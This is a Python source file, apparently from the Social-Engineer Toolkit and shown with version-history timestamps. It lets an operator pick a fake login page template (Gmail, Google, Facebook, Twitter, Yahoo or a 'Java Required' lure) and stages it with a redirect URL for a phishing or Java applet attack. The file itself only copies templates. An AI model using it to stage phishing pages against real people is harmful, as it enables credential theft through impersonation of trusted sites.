2012-12-31 22:11:37 +00:00
|
|
|
#!/usr/bin/env python
|
|
|
|
import subprocess
|
|
|
|
import os
|
|
|
|
import shutil
|
2013-04-15 14:26:00 +00:00
|
|
|
from src.core.setcore import *
|
2012-12-31 22:11:37 +00:00
|
|
|
|
2013-04-15 14:26:00 +00:00
|
|
|
me = mod_name()
|
2012-12-31 22:11:37 +00:00
|
|
|
|
2013-04-15 14:26:00 +00:00
|
|
|
debug_msg(me,"entering src.html.templates.template'",1)
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# used for pre-defined templates
|
|
|
|
#
|
|
|
|
print """
|
2013-03-16 19:47:25 +00:00
|
|
|
1. Java Required
|
2012-12-31 22:11:37 +00:00
|
|
|
2. Gmail
|
|
|
|
3. Google
|
|
|
|
4. Facebook
|
|
|
|
5. Twitter
|
2013-07-18 19:56:29 +00:00
|
|
|
6. Yahoo
|
2012-12-31 22:11:37 +00:00
|
|
|
"""
|
2013-04-15 14:26:00 +00:00
|
|
|
choice=raw_input(setprompt(["2"],"Select a template"))
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
if choice == "exit":
|
2013-04-15 14:26:00 +00:00
|
|
|
exit_set()
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
# file used for nextpage in java applet attack
|
2013-04-15 14:26:00 +00:00
|
|
|
filewrite=file(setdir + "/site.template", "w")
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
# if nothing is selected
|
|
|
|
if choice == "": choice = "1"
|
|
|
|
|
|
|
|
# if java required
|
|
|
|
if choice == "1":
|
2013-03-16 19:47:25 +00:00
|
|
|
if os.path.isfile("src/html/index.template"): os.remove("src/html/index.template")
|
|
|
|
shutil.copyfile("src/html/templates/java/index.template", "src/html/index.template")
|
|
|
|
URL=""
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
# if gmail
|
|
|
|
if choice == "2":
|
2013-03-16 19:47:25 +00:00
|
|
|
if os.path.isfile("src/html/index.template"): os.remove("src/html/index.template")
|
|
|
|
shutil.copyfile("src/html/templates/gmail/index.template", "src/html/index.template")
|
|
|
|
URL="https://gmail.com"
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
# if google
|
|
|
|
if choice == "3":
|
2013-03-16 19:47:25 +00:00
|
|
|
if os.path.isfile("src/html/index.template"): os.remove("src/html/index.template")
|
|
|
|
shutil.copyfile("src/html/templates/google/index.template", "src/html/index.template")
|
|
|
|
URL="http://www.google.com"
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
# if facebook
|
|
|
|
if choice == "4":
|
2013-03-16 19:47:25 +00:00
|
|
|
if os.path.isfile("src/html/index.template"): os.remove("src/html/index.template")
|
|
|
|
shutil.copyfile("src/html/templates/facebook/index.template", "src/html/index.template")
|
|
|
|
URL="http://www.facebook.com"
|
2012-12-31 22:11:37 +00:00
|
|
|
|
|
|
|
# if twitter
|
|
|
|
if choice == "5":
|
2013-03-16 19:47:25 +00:00
|
|
|
if os.path.isfile("src/html/index.template"): os.remove("src/html/index.template")
|
|
|
|
shutil.copyfile("src/html/templates/twitter/index.template", "src/html/index.template")
|
|
|
|
URL="http://www.twitter.com"
|
2013-07-18 19:56:29 +00:00
|
|
|
|
|
|
|
# if yahoo
|
|
|
|
if choice =="6":
|
|
|
|
if os.path.isfile("src/html/index.template"): os.remove("src/html/index.template")
|
|
|
|
shutil.copyfile("src/html/templates/yahoo/index.template", "src/html/index.template")
|
|
|
|
URL="http://mail.yahoo.com"
|
|
|
|
|
2013-04-15 14:26:00 +00:00
|
|
|
if not os.path.isdir(setdir + "/web_clone"):
|
|
|
|
os.makedirs(setdir + "/web_clone/")
|
|
|
|
if os.path.isfile(setdir + "/web_clone/index.html"): os.remove(setdir + "/web_clone/index.html")
|
|
|
|
shutil.copyfile("src/html/index.template", setdir + "/web_clone/index.html")
|
2012-12-31 22:11:37 +00:00
|
|
|
filewrite.write("TEMPLATE=SELF" + "\n"+"URL=%s" % (URL))
|
|
|
|
filewrite.close()
|
|
|
|
|
2013-04-15 14:26:00 +00:00
|
|
|
debug_msg(me,"exiting src.html.templates.template'",1)
|